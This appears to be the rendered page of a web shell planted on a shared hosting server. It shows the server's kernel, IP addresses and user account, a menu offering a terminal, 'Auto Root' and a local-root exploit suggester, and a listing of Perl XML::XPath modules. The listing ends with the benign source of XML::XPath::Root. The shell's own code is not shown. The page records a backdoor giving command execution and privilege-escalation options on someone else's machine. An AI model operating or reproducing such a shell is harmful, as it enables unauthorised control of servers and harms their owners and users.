Linux ams-business-5.hostwindsdns.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
LiteSpeed
Server IP : 23.254.231.17 & Your IP : 216.73.216.115
Domains :
Cant Read [ /etc/named.conf ]
User : uxvsuhne
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
vendor_perl /
XML /
XPath /
Delete
Unzip
Name
Size
Permission
Date
Action
Node
[ DIR ]
drwxr-xr-x
2024-02-09 23:48
Boolean.pm
1.13
KB
-rw-r--r--
2017-07-28 16:18
Builder.pm
4.69
KB
-rw-r--r--
2017-07-28 16:18
Expr.pm
17.88
KB
-rw-r--r--
2017-07-28 16:18
Function.pm
11.8
KB
-rw-r--r--
2017-07-28 16:18
Literal.pm
1.82
KB
-rw-r--r--
2017-07-28 16:18
LocationPath.pm
1.27
KB
-rw-r--r--
2017-07-28 16:18
Node.pm
12.45
KB
-rw-r--r--
2017-07-28 16:18
NodeSet.pm
3.79
KB
-rw-r--r--
2017-07-28 16:19
Number.pm
1.62
KB
-rw-r--r--
2017-07-28 16:19
Parser.pm
23.36
KB
-rw-r--r--
2017-07-28 16:19
PerlSAX.pm
4.99
KB
-rw-r--r--
2017-07-28 16:19
Root.pm
622
B
-rw-r--r--
2017-07-28 16:19
Step.pm
13.02
KB
-rw-r--r--
2017-07-28 16:19
Variable.pm
816
B
-rw-r--r--
2017-07-28 16:19
XMLParser.pm
10.15
KB
-rw-r--r--
2017-07-28 16:19
Save
Rename
package XML::XPath::Root; $VERSION = '1.42'; use strict; use warnings; use XML::XPath::XMLParser; use XML::XPath::NodeSet; sub new { my $class = shift; my $self; # actually don't need anything here - just a placeholder bless \$self, $class; } sub as_string { # do nothing } sub as_xml { return "<Root/>\n"; } sub evaluate { my $self = shift; my $nodeset = shift; # warn "Eval ROOT\n"; # must only ever occur on 1 node die "Can't go to root on > 1 node!" unless $nodeset->size == 1; my $newset = XML::XPath::NodeSet->new(); $newset->push($nodeset->get_node(1)->getRootNode()); return $newset; } 1;